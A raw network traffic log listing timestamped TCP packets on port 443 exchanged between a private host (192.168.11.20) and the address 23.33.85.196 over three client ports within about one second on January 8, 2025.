Jan 8, 2025 16:18:48.852399111 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.852577925 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.852577925 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.852588892 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.855391979 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.855406046 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.855593920 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.855602980 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.855660915 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.855763912 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.857027054 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.857213020 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.857223988 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.857300997 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.857300997 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.865390062 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.865401030 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.865587950 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.865663052 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.865677118 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.865689039 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.865695000 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.865744114 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.865745068 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.865840912 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.865947962 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.865956068 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.865972996 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.866059065 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.867383003 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.867396116 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.867737055 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.867737055 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.867748976 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.871937037 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.872184038 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.872262001 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.875490904 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.875509024 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.875668049 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.875668049 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.875679016 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.875686884 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.875811100 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.876297951 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.876307011 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.876651049 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.876651049 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.876651049 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.876663923 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.882323027 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.882332087 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.882483006 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.882632971 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.882641077 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.882778883 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.883178949 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.883188963 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.883467913 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.883475065 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.883516073 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.885447979 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.885457993 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.885605097 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.885615110 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.885797977 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.885797977 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.885797977 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.886821985 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.886974096 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.886974096 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.886981964 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.887020111 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.887073040 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.887262106 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.893455029 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.893462896 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.893646002 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.893646002 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.893829107 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.893829107 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.893838882 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.894577026 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.894593954 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.894738913 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.894747019 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.894856930 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.895690918 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.895700932 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.895840883 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.896025896 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.896030903 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.898184061 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.898323059 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.898412943 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.898554087 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.898741007 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.898741007 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.898751974 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.898828983 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.901093960 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.901160002 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.901261091 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.901357889 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.901509047 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.901516914 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.905894995 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.905905962 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.906054974 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.906064034 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.906094074 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.906104088 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.906234980 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.906290054 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.906306028 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.906310081 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.906388998 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.909545898 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.909677029 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.909687042 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.909918070 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.912457943 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.912470102 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.912616014 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.912616014 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.912626028 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.912759066 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.912759066 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.913383007 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.913549900 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.917344093 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.917352915 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.917540073 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.917540073 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.917540073 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.917551994 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.917732000 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.920012951 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.920022964 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.920169115 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.920169115 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.920242071 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.920250893 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.920298100 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.920360088 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.924079895 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.924089909 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.924437046 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.924437046 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.924437046 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.924448967 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.925956011 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.925966024 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.926033020 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.926106930 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.926106930 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.926152945 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.926157951 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.926204920 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.926204920 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.926354885 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.926356077 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.926367044 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.926598072 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.928636074 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.928765059 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.928878069 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.932606936 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.932616949 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.932950020 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.932950020 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.932961941 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.933139086 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.933334112 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.935132980 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.935142994 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.935343981 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.935483932 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.935492992 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.935759068 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.937923908 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.938091040 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.938091040 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.938131094 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.938767910 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.938777924 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.938927889 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.939110994 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.939110994 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.939121962 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.939351082 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.941421032 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.941478014 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.941622019 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.941778898 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.941778898 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.943562031 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.943572044 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.943815947 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.943815947 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.943825006 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.944013119 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.948844910 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.948859930 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.949038982 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.949038982 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.949091911 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.949100971 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.949187994 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.949265957 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.954552889 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.954632044 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.954721928 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.954809904 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.954818010 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.954832077 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.954994917 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.959650040 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.959661007 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.959831953 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.959877968 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.959877968 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.959883928 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.959927082 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.960026026 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.962259054 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.962425947 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.962528944 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.967171907 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.967180967 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.967344999 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.967344999 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.967391968 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.967396975 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.967412949 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.967412949 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.967523098 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.970022917 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.970190048 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.970269918 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.970276117 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.974697113 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.974706888 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.974885941 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.974885941 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.974894047 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.974932909 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.974982023 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.975028038 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.979751110 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.979760885 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.979914904 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.979967117 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.979968071 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.979973078 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.980011940 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.980437040 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.980658054 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.980663061 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.980846882 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.985168934 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.985177994 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.985336065 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.985336065 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.985359907 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.985363007 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.985454082 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.985531092 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.989969969 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.989979982 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.990122080 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.990122080 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.990165949 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.990170956 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.990267038 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.990313053 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.992053986 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.992294073 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.996064901 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.996074915 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.996218920 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.996218920 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.996292114 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.996300936 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.996347904 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.996488094 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.997416973 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.997637033 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.001961946 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.001969099 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.002115011 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.002185106 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.002188921 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.002233028 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.002378941 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.005825043 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.005834103 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.006006002 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.006006002 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.006030083 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.006033897 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.006127119 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.006175995 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.006613970 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.006800890 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.010654926 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.010664940 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.010829926 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.010878086 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.010878086 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.010884047 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.010927916 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.011102915 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.014322042 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.014331102 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.014470100 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.014561892 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.014568090 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.014652014 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.014743090 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.016153097 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.016381025 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.020349026 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.020359993 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.020528078 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.020528078 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.020538092 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.020580053 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.020670891 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.020670891 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.021316051 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.021529913 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.021529913 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.025338888 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.025348902 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.025492907 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.025492907 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.025542974 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.025551081 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.025592089 CET	52336	443	192.168.11.20	23.33.85.196
